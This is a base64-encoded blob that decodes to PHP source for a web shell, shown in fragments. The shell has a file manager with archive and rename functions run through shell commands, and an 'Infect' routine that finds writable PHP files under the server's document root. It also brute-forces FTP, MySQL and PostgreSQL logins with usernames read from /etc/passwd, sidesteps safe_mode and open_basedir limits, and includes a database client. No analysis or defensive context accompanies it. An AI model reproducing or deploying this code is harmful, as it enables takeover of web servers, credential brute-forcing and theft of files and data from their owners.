iRzLCAkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOyANCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHsgDQogICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddLiRmLCAkZik7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndW56aXAnKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgeyANCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWydmJ10pOyANCiAgICAgICAgICAgICAgICAgICAgZXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgdW5zZXQoJF9DT09LSUVbJ2YnXSk7IA0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0aW1lKCkgLSAzNjAwKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgZGVmYXVsdDogDQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgIHByb3RvdHlwZSgnYWN0JywgJF9QT1NUWydwMSddKTsgDQogICAgICAgICAgICAgICAgICAgIHByb3RvdHlwZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsgDQogICAgICAgICAgICAgICAgICAgIHByb3RvdHlwZSgnYycsIEAkX1BPU1RbJ2MnXSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaGFyZEhlYWRlcigpOyANCiAgICBlY2hvICc8aDE+RmlsZSBNYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOyANCiAgICAkZGlyQ29udGVudCA9IGhhcmRTY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyANCiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztoYXJkRm9vdGVyKCk7IHJldHVybjsgfSANCiAgICBnbG9iYWwgJHNvcnQ7IA0KICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAx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0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsgDQogICAgJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOyANCiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsgDQogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgeyANCiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7IA0KICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsgDQogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLCANCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwgDQogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksIA0KICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwgDQogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwgDQog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hbWUnIHZhbHVlPScqJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCc+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdGFibGU+PC9mb3JtPiI7IA0KICAgIGZ1bmN0aW9uIGhhcmRSZWN1cnNpdmVHbG9iKCRwYXRoKSB7IA0KICAgICAgICBpZihzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpIA0KICAgICAgICAgICAgJHBhdGguPScvJzsgDQogICAgICAgICRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsgDQogICAgICAgICAgICBmb3JlYWNoKCRwYXRocyBhcyAk4pafKSB7IA0KICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJOKWnykpeyANCiAgICAgICAgICAgICAgICAgICAgaWYoJHBhdGghPSTilp8pIA0KICAgICAgICAgICAgICAgICAgICAgICAgaGFyZFJlY3Vyc2l2ZUdsb2IoJOKWnyk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVudHMoJOKWnyksICRfUE9TVFsncDInXSkhPT1mYWxzZSkgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgk4pafKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMo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gJ2N4Jyk7IA0KICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsgDQogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOyANCiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOyANCiAgICAgICAgICAgIH0gZWxzZSANCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgMjogDQogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOyANCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkgDQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDM6IA0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7IA0KICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDQ6IA0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgDQogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDU6IA0KICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7IA0KICAgICAgICAgICAgICAgICR1a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NzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj48Zm9udCBjb2xvcj0iR1JFRU4iPlllczwvZm9udD48L2E+PC9kaXY+JzsgDQogICAgaGFyZEZvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25JbmZlY3QoKSB7IA0KICAgIGhhcmRIZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPkluZmVjdDwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgeyANCiAgICAgICAgJHRhcmdldD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOyANCiAgICAgICAgICAgIGZ1bmN0aW9uIExpc3RGaWxlcygkZGlyKSB7IA0KICAgICAgICAgICAgICAgIGlmKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsgDQogICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IEFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICAkaW5uZXJfZmlsZXMgPSBBcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpciAuICIvIiAuICRmaWxlKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAiLyIgLiAkZmlsZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkZmlsZXMsICRkaXIgLiAiLyIgLiAkZmlsZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOyANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmb3JlYWNoIChMaXN0RmlsZXMoJHRhcmdldCkgYXMgJGtleT0+JGZpbGUpeyANCiAgICAgICAgICAgICAgICAkbkZpbGUgPSBzdWJzdHIoJGZpbGUsIC00LCA0KTsgDQogICAgICAgICAgICAgICAgaWYoJG5GaWxlID09ICIucGhwIiApeyANCiAgICAgICAgICAgICAgICAgICAgaWYoKCRmaWxlPD4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiRfU0VSVkVSWydQSFBfU0VMRiddKSYmKGlzX3dyaXRlYWJsZSgkZmlsZSkpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkZmlsZTxicj4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkIHNpemU9MTQ+JGk8L2ZvbnQ+IjsgDQogICAgICAgIH1lbHNleyANCiAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsgDQogICAgICAgICAgICBlY2hvICdSZWFsbHkgd2FudCB0byBpbmZlY3QgdGhlIHNlcnZlcj8mbmJzcDs8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdpbmZlY3RcJykiPlllczwvYT48L2Rpdj4nOyANCiAgICAgICAgfSANCiAgICBoYXJkRm9vdGVyKCk7IA0KfSANCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7IA0KICAgIGhhcmRIZWFkZXIoKTsgDQogICAgaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7IA0KICAgICAgICBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7IA0KICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7IA0KICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7IA0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLigkcG9ydD8kcG9ydDozMzA2KSwgJGxvZ2luLCAkcGFzcyk7IA0KICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsgDQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOyANCiAgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7IA0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgICRzdWNjZXNzID0gMDsgDQogICAgICAgICRhdHRlbXB0cyA9IDA7IA0KICAgICAgICAkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOyANCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgeyANCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsgDQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsaW5lWzBdWyRpXTsgDQogICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsgDQogICAgICAgICAgICAkdGVtcCA9IEBmaWxl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zcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7IA0KICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7IA0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgeyANCiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgIC